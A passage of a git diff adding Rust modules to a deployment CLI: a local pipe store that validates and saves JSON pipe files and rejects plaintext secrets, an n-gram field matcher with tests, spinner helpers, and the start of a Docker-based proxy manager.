pipe_path(&self, id: &str) -> PathBuf { + self.pipes_dir().join(format!("{id}.json")) + } + + pub fn list(&self) -> Result, CliError> { + let dir = self.pipes_dir(); + if !dir.exists() { + return Ok(Vec::new()); + } + + let mut entries = Vec::new(); + for entry in fs::read_dir(&dir).map_err(CliError::Io)? { + let entry = entry.map_err(CliError::Io)?; + let path = entry.path(); + if path.extension().and_then(|value| value.to_str()) != Some("json") { + continue; + } + let content = fs::read_to_string(&path).map_err(CliError::Io)?; + let document: LocalPipeDocument = serde_json::from_str(&content).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to parse local pipe file {}: {}", + path.display(), + err + )) + })?; + document.validate()?; + entries.push(document); + } + + entries.sort_by(|left, right| left.name.to_lowercase().cmp(&right.name.to_lowercase())); + Ok(entries) + } + + pub fn save_new(&self, document: &LocalPipeDocument) -> Result { + document.validate()?; + let path = self.pipe_path(&document.id); + if path.exists() { + return Err(CliError::ConfigValidation(format!( + "Local pipe '{}' already exists at {}", + document.id, + path.display() + ))); + } + + let duplicate_name = self + .list()? + .into_iter() + .find(|existing| existing.name.eq_ignore_ascii_case(&document.name)); + if let Some(existing) = duplicate_name { + return Err(CliError::ConfigValidation(format!( + "Local pipe name '{}' is already used by '{}'. Choose a different name or update the existing local pipe once edit support lands.", + document.name, + existing.id + ))); + } + + self.save(document) + } + + pub fn save(&self, document: &LocalPipeDocument) -> Result { + document.validate()?; + let path = self.pipe_path(&document.id); + let bytes = serde_json::to_vec_pretty(document).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to serialize local pipe '{}': {}", + document.id, err + )) + })?; + write_atomic(&path, &bytes, LOCAL_PIPE_FILE_MODE).map_err(CliError::Io)?; + Ok(path) + } + + pub fn resolve(&self, selector: &str) -> Result { + let matches = self + .list()? + .into_iter() + .filter(|document| document.id == selector || document.name == selector) + .collect::>(); + + match matches.len() { + 0 => Err(CliError::ConfigValidation(format!( + "Local pipe '{}' was not found under {}. Recreate it with `stacker pipe create ` if it only exists in the legacy server-backed local pipe list.", + selector, + self.pipes_dir().display() + ))), + 1 => Ok(matches.into_iter().next().expect("single match")), + _ => Err(CliError::ConfigValidation(format!( + "Local pipe selector '{}' is ambiguous; use the local pipe ID", + selector + ))), + } + } +} + +pub fn local_pipe_id_from_name(name: &str) -> Result { + let mut id = String::with_capacity(name.len()); + let mut previous_was_separator = false; + + for ch in name.trim().chars() { + if ch.is_ascii_alphanumeric() { + id.push(ch.to_ascii_lowercase()); + previous_was_separator = false; + } else if matches!(ch, '-' | '_' | ' ' | '.' | '/' | ':') && !previous_was_separator { + id.push('-'); + previous_was_separator = true; + } + } + + let normalized = id.trim_matches('-').to_string(); + validate_local_pipe_id(&normalized)?; + Ok(normalized) +} + +fn validate_local_pipe_id(id: &str) -> Result<(), CliError> { + if id.is_empty() { + return Err(CliError::ConfigValidation( + "Local pipe ID cannot be empty".to_string(), + )); + } + if !id + .chars() + .all(|ch| ch.is_ascii_lowercase() || ch.is_ascii_digit() || matches!(ch, '-' | '_')) + { + return Err(CliError::ConfigValidation(format!( + "Local pipe ID '{}' must use lowercase ASCII letters, digits, '-' or '_'", + id + ))); + } + Ok(()) +} + +fn validate_adapter_config(value: Option<&serde_json::Value>, path: &str) -> Result<(), CliError> { + if let Some(value) = value { + reject_plaintext_secret_values(value, path)?; + } + Ok(()) +} + +fn reject_plaintext_secret_values(value: &serde_json::Value, path: &str) -> Result<(), CliError> { + match value { + serde_json::Value::Array(items) => { + for (index, item) in items.iter().enumerate() { + reject_plaintext_secret_values(item, &format!("{path}[{index}]"))?; + } + } + serde_json::Value::Object(map) => { + for (key, nested) in map { + let nested_path = format!("{path}.{key}"); + if is_sensitive_adapter_key(key) && !is_secret_reference(nested) { + return Err(CliError::ConfigValidation(format!( + "Sensitive adapter config '{nested_path}' must use a secret reference instead of a plaintext value" + ))); + } + reject_plaintext_secret_values(nested, &nested_path)?; + } + } + _ => {} + } + Ok(()) +} + +fn is_secret_reference(value: &serde_json::Value) -> bool { + match value { + serde_json::Value::Object(map) => { + map.contains_key("secret_ref") + || map.contains_key("$env") + || map.contains_key("env") + || (map.contains_key("scope") + && map.contains_key("name") + && (map.contains_key("service") || map.contains_key("app"))) + } + _ => false, + } +} + +fn is_sensitive_adapter_key(key: &str) -> bool { + let lowered = key.trim().to_ascii_lowercase(); + lowered.contains("password") + || lowered.contains("secret") + || lowered.contains("token") + || lowered.contains("credential") + || lowered == "auth" + || lowered.ends_with("_auth") + || lowered.contains("api_key") + || lowered.ends_with("_key") + || lowered.contains("private_key") + || lowered.ends_with("cert") +} + +#[cfg(test)] +mod tests { + use super::*; + use pipe_adapter_sdk::PipeAdapterRole; + use tempfile::TempDir; + + fn sample_document() -> LocalPipeDocument { + LocalPipeDocument::draft(NewLocalPipeDocument { + name: "status-panel-web-to-smtp".to_string(), + source: LocalPipeBinding { + selector: "status-panel-web".to_string(), + container: Some("status-panel-web".to_string()), + adapter: None, + method: "POST".to_string(), + path: "/contact".to_string(), + fields: vec!["email".to_string(), "message".to_string()], + }, + target: LocalPipeBinding { + selector: "smtp".to_string(), + container: Some("smtp".to_string()), + adapter: Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(serde_json::json!({ + "host": "smtp", + "port": 1025, + "to": ["ops@example.com"], + "tls": false + })), + ), + method: "SEND".to_string(), + path: "adapter:smtp".to_string(), + fields: vec!["from_email".to_string(), "body_text".to_string()], + }, + template: LocalPipeTemplate { + description: Some("POST /contact -> SEND adapter:smtp".to_string()), + source_app_type: "status-panel-web".to_string(), + source_endpoint: serde_json::json!({"path": "/contact", "method": "POST"}), + target_app_type: "smtp".to_string(), + target_endpoint: serde_json::json!({ + "mode": "adapter", + "adapter": "smtp", + "display_name": "SMTP target" + }), + target_external_url: None, + field_mapping: serde_json::json!({"body_text": "$.message"}), + config: Some(serde_json::json!({"retry_count": 3})), + is_public: false, + }, + instance: LocalPipeInstance { + source_adapter: None, + source_container: "status-panel-web".to_string(), + target_adapter: Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(serde_json::json!({ + "host": "smtp", + "port": 1025, + "to": ["ops@example.com"], + "tls": false + })), + ), + target_container: Some("smtp".to_string()), + target_url: None, + field_mapping_override: None, + config_override: None, + trigger_count: 0, + error_count: 0, + last_triggered_at: None, + }, + diagnostics: LocalPipeDiagnostics { + notes: vec!["local discovery cached".to_string()], + }, + }) + .expect("sample local pipe should be valid") + } + + #[test] + fn local_pipe_id_is_slugified() { + assert_eq!( + local_pipe_id_from_name("Status Panel Web: SMTP / Prod").unwrap(), + "status-panel-web-smtp-prod" + ); + } + + #[test] + fn store_round_trips_local_pipe_document() { + let dir = TempDir::new().unwrap(); + let store = LocalPipeStore::new(dir.path()); + let document = sample_document(); + + let path = store.save_new(&document).unwrap(); + assert!(path.ends_with("status-panel-web-to-smtp.json")); + + let stored = store.resolve("status-panel-web-to-smtp").unwrap(); + assert_eq!(stored.id, document.id); + assert_eq!(stored.name, document.name); + assert_eq!(stored.instance.target_container, Some("smtp".to_string())); + } + + #[test] + fn duplicate_name_is_rejected() { + let dir = TempDir::new().unwrap(); + let store = LocalPipeStore::new(dir.path()); + let first = sample_document(); + let second = sample_document(); + + store.save_new(&first).unwrap(); + let err = store.save_new(&second).unwrap_err(); + assert!(err.to_string().contains("already exists")); + } + + #[test] + fn plaintext_secret_values_are_rejected() { + let result = LocalPipeDocument::draft(NewLocalPipeDocument { + instance: LocalPipeInstance { + target_adapter: Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(serde_json::json!({ + "host": "smtp", + "password": "super-secret" + })), + ), + ..sample_document().instance + }, + ..NewLocalPipeDocument { + name: sample_document().name, + source: sample_document().source, + target: sample_document().target, + template: sample_document().template, + instance: sample_document().instance, + diagnostics: sample_document().diagnostics, + } + }); + + let err = result.unwrap_err(); + assert!(err + .to_string() + .contains("must use a secret reference instead of a plaintext value")); + } + + #[test] + fn secret_reference_values_are_allowed() { + let mut document = sample_document(); + document.instance.target_adapter = Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(serde_json::json!({ + "host": "smtp", + "password": { + "secret_ref": { + "scope": "service", + "service": "smtp", + "name": "SMTP_PASSWORD" + } + } + })), + ); + + assert!(document.validate().is_ok()); + } +} diff --git a/stacker/stacker/src/cli/ml_field_matcher.rs b/stacker/stacker/src/cli/ml_field_matcher.rs new file mode 100644 index 0000000..b0eb3fc --- /dev/null +++ b/stacker/stacker/src/cli/ml_field_matcher.rs @@ -0,0 +1,527 @@ +use std::collections::HashMap; + +use crate::cli::field_matcher::{ + FieldMatchResult, FieldMatcher, MatchingMode, TransformSuggestion, FIELD_ALIASES, +}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// MlFieldMatcher — cosine-similarity matching on n-gram vectors +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Minimum cosine similarity to consider a match. +const DEFAULT_THRESHOLD: f32 = 0.45; + +/// Size of character n-grams. +const NGRAM_SIZE: usize = 3; + +/// ML-inspired field matcher using character n-gram vectorization and cosine similarity. +/// +/// Matching layers (applied in order, first match wins): +/// 1. Exact name match (confidence 1.0) +/// 2. Case-insensitive match (confidence 0.95) +/// 3. Semantic alias match (confidence 0.90) +/// 4. N-gram cosine similarity (confidence = similarity score) +/// 5. Token overlap scoring for compound field names (confidence = overlap ratio) +pub struct MlFieldMatcher { + threshold: f32, +} + +impl MlFieldMatcher { + pub fn new() -> Self { + Self { + threshold: DEFAULT_THRESHOLD, + } + } + + pub fn with_threshold(threshold: f32) -> Self { + Self { threshold } + } +} + +impl Default for MlFieldMatcher { + fn default() -> Self { + Self::new() + } +} + +impl FieldMatcher for MlFieldMatcher { + fn match_fields( + &self, + src_fields: &[String], + tgt_fields: &[String], + _source_sample: Option<&serde_json::Value>, + ) -> FieldMatchResult { + let mut mapping = serde_json::Map::new(); + let mut confidence = HashMap::new(); + let mut suggestions = Vec::new(); + let mut used_sources: Vec = Vec::new(); + + for tgt_field in tgt_fields { + let available: Vec<&String> = src_fields + .iter() + .filter(|s| !used_sources.contains(s)) + .collect(); + + if available.is_empty() { + break; + } + + if let Some((src, score)) = best_match(tgt_field, &available, self.threshold) { + mapping.insert( + tgt_field.clone(), + serde_json::Value::String(format!("$.{}", src)), + ); + confidence.insert(tgt_field.clone(), score); + used_sources.push(src.clone()); + + // Suggest transformation if score is moderate (fuzzy match) + if score < 0.85 && score >= self.threshold { + suggestions.push(TransformSuggestion { + target_field: tgt_field.clone(), + expression: format!("$.{}", src), + description: format!( + "Fuzzy match (confidence {:.0}%) — verify mapping correctness", + score * 100.0 + ), + }); + } + } + } + + FieldMatchResult { + mapping: serde_json::Value::Object(mapping), + confidence, + suggestions, + mode: MatchingMode::Ml, + } + } +} + +/// Find the best matching source field for a target field. +/// Returns (source_field, confidence) or None if below threshold. +fn best_match(target: &str, sources: &[&String], threshold: f32) -> Option<(String, f32)> { + // Layer 1: Exact match + if let Some(src) = sources.iter().find(|s| s.as_str() == target) { + return Some(((*src).clone(), 1.0)); + } + + // Layer 2: Case-insensitive + let tgt_lower = target.to_ascii_lowercase(); + if let Some(src) = sources.iter().find(|s| s.to_ascii_lowercase() == tgt_lower) { + return Some(((*src).clone(), 0.95)); + } + + // Layer 3: Semantic aliases + for (group_a, group_b) in FIELD_ALIASES { + if group_a.iter().any(|a| a.eq_ignore_ascii_case(target)) { + if let Some(src) = sources + .iter() + .find(|sf| group_b.iter().any(|b| b.eq_ignore_ascii_case(sf))) + { + return Some(((*src).clone(), 0.90)); + } + } + } + + // Layer 4: N-gram cosine similarity + let tgt_vec = ngram_vector(target); + let mut best: Option<(String, f32)> = None; + + for src in sources { + let src_vec = ngram_vector(src); + let sim = cosine_similarity(&tgt_vec, &src_vec); + if sim >= threshold { + if best.as_ref().map_or(true, |(_, s)| sim > *s) { + best = Some(((*src).clone(), sim)); + } + } + } + + if let Some(ref b) = best { + if b.1 >= threshold { + return best; + } + } + + // Layer 5: Token overlap (split on _ and compare tokens) + let tgt_tokens = tokenize(target); + let mut best_overlap: Option<(String, f32)> = None; + + for src in sources { + let src_tokens = tokenize(src); + let overlap = token_overlap_score(&tgt_tokens, &src_tokens); + if overlap >= threshold { + if best_overlap.as_ref().map_or(true, |(_, s)| overlap > *s) { + best_overlap = Some(((*src).clone(), overlap)); + } + } + } + + best_overlap +} + +/// Build a character n-gram frequency vector (HashMap representation). +fn ngram_vector(field: &str) -> HashMap { + let normalized = normalize_field_name(field); + let chars: Vec = normalized.chars().collect(); + let mut vec = HashMap::new(); + + if chars.len() < NGRAM_SIZE { + // For very short strings, use the whole string as a single gram + *vec.entry(normalized.clone()).or_insert(0.0) += 1.0; + return vec; + } + + for window in chars.windows(NGRAM_SIZE) { + let gram: String = window.iter().collect(); + *vec.entry(gram).or_insert(0.0) += 1.0; + } + vec +} + +/// Cosine similarity between two sparse vectors. +fn cosine_similarity(a: &HashMap, b: &HashMap) -> f32 { + let dot: f32 = a + .iter() + .filter_map(|(k, v)| b.get(k).map(|bv| v * bv)) + .sum(); + + let mag_a: f32 = a.values().map(|v| v * v).sum::().sqrt(); + let mag_b: f32 = b.values().map(|v| v * v).sum::().sqrt(); + + if mag_a == 0.0 || mag_b == 0.0 { + return 0.0; + } + + dot / (mag_a * mag_b) +} + +/// Normalize a field name for n-gram extraction. +fn normalize_field_name(name: &str) -> String { + // Convert camelCase to snake_case, then lowercase + let mut result = String::with_capacity(name.len() + 4); + for (i, ch) in name.chars().enumerate() { + if ch.is_uppercase() && i > 0 { + result.push('_'); + } + result.push(ch.to_ascii_lowercase()); + } + result +} + +/// Tokenize a field name by splitting on _, -, and camelCase boundaries. +fn tokenize(name: &str) -> Vec { + let normalized = normalize_field_name(name); + normalized + .split(|c: char| c == '_' || c == '-') + .filter(|s| !s.is_empty()) + .map(|s| s.to_string()) + .collect() +} + +/// Compute token overlap score (Jaccard-like). +fn token_overlap_score(a: &[String], b: &[String]) -> f32 { + if a.is_empty() || b.is_empty() { + return 0.0; + } + + let matches = a.iter().filter(|t| b.contains(t)).count(); + let total = a.len().max(b.len()); + + matches as f32 / total as f32 +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + // ── Unit tests for helper functions ───────────────── + + #[test] + fn test_normalize_camel_case() { + assert_eq!(normalize_field_name("firstName"), "first_name"); + assert_eq!( + normalize_field_name("userEmailAddress"), + "user_email_address" + ); + assert_eq!(normalize_field_name("id"), "id"); + assert_eq!(normalize_field_name("HTTPStatus"), "h_t_t_p_status"); + } + + #[test] + fn test_tokenize() { + assert_eq!(tokenize("first_name"), vec!["first", "name"]); + assert_eq!(tokenize("userName"), vec!["user", "name"]); + assert_eq!(tokenize("email"), vec!["email"]); + assert_eq!( + tokenize("user-email-address"), + vec!["user", "email", "address"] + ); + } + + #[test] + fn test_ngram_vector_basic() { + let vec = ngram_vector("email"); + // "email" → 5 chars → 3 trigrams: "ema", "mai", "ail" + assert_eq!(vec.len(), 3); + assert_eq!(*vec.get("ema").unwrap(), 1.0); + assert_eq!(*vec.get("mai").unwrap(), 1.0); + assert_eq!(*vec.get("ail").unwrap(), 1.0); + } + + #[test] + fn test_ngram_vector_short() { + let vec = ngram_vector("id"); + assert_eq!(vec.len(), 1); + assert!(vec.contains_key("id")); + } + + #[test] + fn test_cosine_similarity_identical() { + let a = ngram_vector("email"); + let b = ngram_vector("email"); + let sim = cosine_similarity(&a, &b); + assert!((sim - 1.0).abs() < 0.001); + } + + #[test] + fn test_cosine_similarity_similar() { + let a = ngram_vector("user_email"); + let b = ngram_vector("email_user"); + let sim = cosine_similarity(&a, &b); + // These share many trigrams so similarity should be high + assert!(sim > 0.5, "Expected > 0.5, got {}", sim); + } + + #[test] + fn test_cosine_similarity_dissimilar() { + let a = ngram_vector("email"); + let b = ngram_vector("zzzzzz"); + let sim = cosine_similarity(&a, &b); + assert!(sim < 0.1, "Expected < 0.1, got {}", sim); + } + + #[test] + fn test_cosine_empty_vector() { + let a: HashMap = HashMap::new(); + let b = ngram_vector("email"); + assert_eq!(cosine_similarity(&a, &b), 0.0); + } + + #[test] + fn test_token_overlap_exact() { + let a = tokenize("first_name"); + let b = tokenize("first_name"); + assert_eq!(token_overlap_score(&a, &b), 1.0); + } + + #[test] + fn test_token_overlap_partial() { + let a = tokenize("user_name"); + let b = tokenize("user_email"); + // overlap: "user" (1 of 2) + assert!((token_overlap_score(&a, &b) - 0.5).abs() < 0.001); + } + + #[test] + fn test_token_overlap_empty() { + let a: Vec = vec![]; + let b = tokenize("email"); + assert_eq!(token_overlap_score(&a, &b), 0.0); + } + + // ── Integration tests for MlFieldMatcher ──────────── + + #[test] + fn test_ml_exact_match() { + let matcher = MlFieldMatcher::new(); + let src = vec!["email".into(), "name".into()]; + let tgt = vec!["email".into(), "name".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.name"); + assert_eq!(*result.confidence.get("email").unwrap(), 1.0); + assert_eq!(*result.confidence.get("name").unwrap(), 1.0); + assert_eq!(result.mode, MatchingMode::Ml); + } + + #[test] + fn test_ml_case_insensitive() { + let matcher = MlFieldMatcher::new(); + let src = vec!["Email".into(), "UserName".into()]; + let tgt = vec!["email".into(), "username".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.Email"); + assert_eq!(map["username"], "$.UserName"); + assert_eq!(*result.confidence.get("email").unwrap(), 0.95); + } + + #[test] + fn test_ml_semantic_aliases() { + let matcher = MlFieldMatcher::new(); + let src = vec!["user_email".into(), "display_name".into()]; + let tgt = vec!["email".into(), "name".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.user_email"); + assert_eq!(map["name"], "$.display_name"); + assert_eq!(*result.confidence.get("email").unwrap(), 0.90); + } + + #[test] + fn test_ml_ngram_fuzzy_match() { + let matcher = MlFieldMatcher::new(); + let src = vec!["customer_email_address".into(), "customer_name".into()]; + let tgt = vec!["email_addr".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + // Should fuzzy-match via n-gram similarity + assert!( + map.contains_key("email_addr"), + "Expected fuzzy match for email_addr" + ); + let conf = *result.confidence.get("email_addr").unwrap(); + assert!( + conf >= 0.45 && conf < 1.0, + "Expected fuzzy confidence, got {}", + conf + ); + } + + #[test] + fn test_ml_token_overlap_match() { + let matcher = MlFieldMatcher::new(); + let src = vec!["order_date".into(), "order_total".into()]; + let tgt = vec!["purchase_date".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + // "purchase_date" and "order_date" share token "date" + if map.contains_key("purchase_date") { + assert_eq!(map["purchase_date"], "$.order_date"); + } + } + + #[test] + fn test_ml_no_match_below_threshold() { + let matcher = MlFieldMatcher::new(); + let src = vec!["aaaa".into(), "bbbb".into()]; + let tgt = vec!["xxxx".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert!( + map.is_empty(), + "Expected no match for totally dissimilar fields" + ); + } + + #[test] + fn test_ml_custom_threshold() { + let matcher = MlFieldMatcher::with_threshold(0.99); + let src = vec!["order_status".into()]; + let tgt = vec!["shipment_state".into()]; + let result = matcher.match_fields(&src, &tgt, None); + // With 0.99 threshold, only exact/near-exact matches qualify + let map = result.mapping.as_object().unwrap(); + assert!( + map.is_empty(), + "Expected no match at 0.99 threshold, got: {:?}", + map + ); + } + + #[test] + fn test_ml_suggestions_for_fuzzy() { + let matcher = MlFieldMatcher::with_threshold(0.40); + let src = vec!["customer_email_address".into()]; + let tgt = vec!["email_addr".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + if map.contains_key("email_addr") { + let conf = *result.confidence.get("email_addr").unwrap(); + if conf < 0.85 { + assert!( + !result.suggestions.is_empty(), + "Expected suggestion for fuzzy match" + ); + assert!(result.suggestions[0].description.contains("Fuzzy match")); + } + } + } + + #[test] + fn test_ml_no_duplicate_source_mapping() { + let matcher = MlFieldMatcher::new(); + let src = vec!["email".into()]; + let tgt = vec!["email".into(), "mail".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + // "email" should only map once (first match wins) + assert_eq!(map.len(), 1); + assert_eq!(map["email"], "$.email"); + } + + #[test] + fn test_ml_mixed_strategies() { + let matcher = MlFieldMatcher::new(); + let src = vec![ + "email".into(), + "display_name".into(), + "Phone".into(), + "customer_address_line1".into(), + ]; + let tgt = vec![ + "email".into(), // exact → 1.0 + "name".into(), // alias → 0.90 + "phone".into(), // case insensitive → 0.95 + "addr_line1".into(), // fuzzy + ]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.display_name"); + assert_eq!(map["phone"], "$.Phone"); + assert!( + map.len() >= 3, + "Expected at least 3 matches, got {}", + map.len() + ); + } + + #[test] + fn test_ml_empty_inputs() { + let matcher = MlFieldMatcher::new(); + let result = matcher.match_fields(&[], &[], None); + assert!(result.mapping.as_object().unwrap().is_empty()); + assert!(result.confidence.is_empty()); + + let result2 = matcher.match_fields(&["a".into()], &[], None); + assert!(result2.mapping.as_object().unwrap().is_empty()); + + let result3 = matcher.match_fields(&[], &["a".into()], None); + assert!(result3.mapping.as_object().unwrap().is_empty()); + } + + #[test] + fn test_ml_mode_is_ml() { + let matcher = MlFieldMatcher::new(); + let result = matcher.match_fields(&["a".into()], &["a".into()], None); + assert_eq!(result.mode, MatchingMode::Ml); + } + + #[test] + fn test_ml_camel_case_normalization() { + let matcher = MlFieldMatcher::new(); + let src = vec!["firstName".into()]; + let tgt = vec!["first_name".into()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + // After normalization, "firstName" → "first_name" which is a near-perfect match + assert!( + map.contains_key("first_name"), + "Expected camelCase to snake_case match" + ); + } +} diff --git a/stacker/stacker/src/cli/mod.rs b/stacker/stacker/src/cli/mod.rs new file mode 100644 index 0000000..684a9a0 --- /dev/null +++ b/stacker/stacker/src/cli/mod.rs @@ -0,0 +1,34 @@ +pub mod ai_client; +pub mod ai_field_matcher; +pub mod ai_pipe_suggest; +pub mod ai_scanner; +pub mod ai_scenarios; +pub mod ci_export; +pub mod cloud_env; +pub mod compose_service_sync; +pub mod compose_targets; +pub mod config_bundle; +pub mod config_check; +pub mod config_contract; +pub mod config_diff; +pub mod config_inventory; +pub mod config_parser; +pub mod config_promote; +pub mod credentials; +pub mod debug; +pub mod deployment_lock; +pub mod detector; +pub mod error; +pub mod field_matcher; +pub mod fmt; +pub mod generator; +pub mod install_runner; +pub mod local_compose; +pub mod local_pipe_store; +pub mod ml_field_matcher; +pub mod progress; +pub mod proxy_manager; +pub mod runtime; +pub mod service_catalog; +pub mod service_import; +pub mod stacker_client; diff --git a/stacker/stacker/src/cli/progress.rs b/stacker/stacker/src/cli/progress.rs new file mode 100644 index 0000000..aa38300 --- /dev/null +++ b/stacker/stacker/src/cli/progress.rs @@ -0,0 +1,116 @@ +//! Terminal progress helpers — spinners and status indicators. +//! +//! Uses `indicatif` to show animated spinners during long-running +//! operations (deploy, health checks, status polling). + +use indicatif::{ProgressBar, ProgressStyle}; +use std::time::Duration; + +// ── Spinner presets ────────────────────────────────── + +/// Braille dots — clean, modern feel. +const TICK_CHARS: &str = "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏"; + +/// Create an animated spinner with the given message. +/// +/// Call `spinner.finish_with_message(...)` or one of the helpers +/// (`finish_success`, `finish_error`) when done. +pub fn spinner(message: &str) -> ProgressBar { + let pb = ProgressBar::new_spinner(); + pb.set_style( + ProgressStyle::default_spinner() + .tick_chars(TICK_CHARS) + .template("{spinner:.cyan} {msg}") + .expect("invalid spinner template"), + ); + pb.set_message(message.to_string()); + pb.enable_steady_tick(Duration::from_millis(80)); + pb +} + +/// Create a spinner for a deploy phase (prefixed with step info). +pub fn deploy_spinner(phase: &str) -> ProgressBar { + spinner(&format!("Deploy: {}", phase)) +} + +// ── Finish helpers ─────────────────────────────────── + +/// Finish a spinner with a green check-mark. +pub fn finish_success(pb: &ProgressBar, msg: &str) { + pb.set_style( + ProgressStyle::default_spinner() + .template(" {msg}") + .expect("invalid template"), + ); + pb.finish_with_message(format!("✓ {}", msg)); +} + +/// Finish a spinner with a red cross. +pub fn finish_error(pb: &ProgressBar, msg: &str) { + pb.set_style( + ProgressStyle::default_spinner() + .template(" {msg}") + .expect("invalid template"), + ); + pb.finish_with_message(format!("✗ {}", msg)); +} + +/// Finish a spinner with a warning marker. +pub fn finish_warning(pb: &ProgressBar, msg: &str) { + pb.set_style( + ProgressStyle::default_spinner() + .template(" {msg}") + .expect("invalid template"), + ); + pb.finish_with_message(format!("⚠ {}", msg)); +} + +/// Update the spinner message without stopping it. +pub fn update_message(pb: &ProgressBar, msg: &str) { + pb.set_message(msg.to_string()); + pb.tick(); +} + +// ── Status icons ───────────────────────────────────── + +/// Return a status icon for a deployment status string. +pub fn status_icon(status: &str) -> &'static str { + match status { + "completed" | "confirmed" => "✓", + "failed" | "error" | "cancelled" => "✗", + "in_progress" => "⟳", + "pending" | "wait_start" => "◷", + "paused" | "wait_resume" => "⏸", + _ => "?", + } +} + +// ── Health-check status bar ────────────────────────── + +/// Create progress display for container health checks. +pub fn health_spinner(total_services: usize) -> ProgressBar { + spinner(&format!( + "Checking container health (0/{} running)...", + total_services + )) +} + +/// Update health check progress. +pub fn update_health(pb: &ProgressBar, running: usize, total: usize) { + pb.set_message(format!("Container health: {}/{} running", running, total)); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_status_icon_mapping() { + assert_eq!(status_icon("completed"), "✓"); + assert_eq!(status_icon("failed"), "✗"); + assert_eq!(status_icon("in_progress"), "⟳"); + assert_eq!(status_icon("pending"), "◷"); + assert_eq!(status_icon("paused"), "⏸"); + assert_eq!(status_icon("unknown_status"), "?"); + } +} diff --git a/stacker/stacker/src/cli/proxy_manager.rs b/stacker/stacker/src/cli/proxy_manager.rs new file mode 100644 index 0000000..4ab4d61 --- /dev/null +++ b/stacker/stacker/src/cli/proxy_manager.rs @@ -0,0 +1,778 @@ +use std::collections::HashMap; + +use crate::cli::config_parser::{DomainConfig, ProxyType, SslMode}; +use crate::cli::error::CliError; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ContainerInfo — minimal container metadata +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Lightweight representation of a running Docker container. +/// Populated by `ContainerRuntime::list_containers()`. +#[derive(Debug, Clone)] +pub struct ContainerInfo { + pub id: String, + pub name: String, + pub image: String, + pub ports: Vec, + pub status: String, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ContainerRuntime trait — abstraction over Docker CLI (DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Abstraction for interacting with the local container runtime. +/// +/// Production: `DockerCliRuntime` shells out to `docker` / `docker compose`. +/// Tests: `MockContainerRuntime` returns canned data. +/// +/// This is the **first** direct Docker CLI interaction in stacker — +/// the server-side code uses agent-mediated command queuing instead. +pub trait ContainerRuntime: Send + Sync { + fn is_available(&self) -> bool; + fn list_containers(&self) -> Result, CliError>; +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DockerCliRuntime — production implementation +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct DockerCliRuntime; + +impl ContainerRuntime for DockerCliRuntime { + fn is_available(&self) -> bool { + std::process::Command::new("docker") + .arg("info") + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false) + } + + fn list_containers(&self) -> Result, CliError> { + let output = std::process::Command::new("docker") + .args([ + "ps", + "--format", + "{{.ID}}|{{.Names}}|{{.Image}}|{{.Ports}}|{{.Status}}", + ]) + .output() + .map_err(|_| CliError::ContainerRuntimeUnavailable)?; + + if !output.status.success() { + return Err(CliError::ContainerRuntimeUnavailable); + } + + let stdout = String::from_utf8_lossy(&output.stdout); + let containers = stdout + .lines() + .filter(|line| !line.is_empty()) + .map(parse_docker_ps_line) + .collect(); + + Ok(containers) + } +} + +/// Parse a single line from `docker ps --format "{{.ID}}|{{.Names}}|{{.Image}}|{{.Ports}}|{{.Status}}"`. +fn parse_docker_ps_line(line: &str) -> ContainerInfo { + let parts: Vec<&str> = line.splitn(5, '|').collect(); + + let id = parts.first().unwrap_or(&"").to_string(); + let name = parts.get(1).unwrap_or(&"").to_string(); + let image = parts.get(2).unwrap_or(&"").to_string(); + let ports_str = parts.get(3).unwrap_or(&""); + let status = parts.get(4).unwrap_or(&"").to_string(); + + let ports = extract_host_ports(ports_str); + + ContainerInfo { + id, + name, + image, + ports, + status, + } +} + +/// Extract host-side port numbers from Docker port mapping strings like +/// `0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp`. +fn extract_host_ports(ports_str: &str) -> Vec { + let mut ports = Vec::new(); + for part in ports_str.split(',') { + let part = 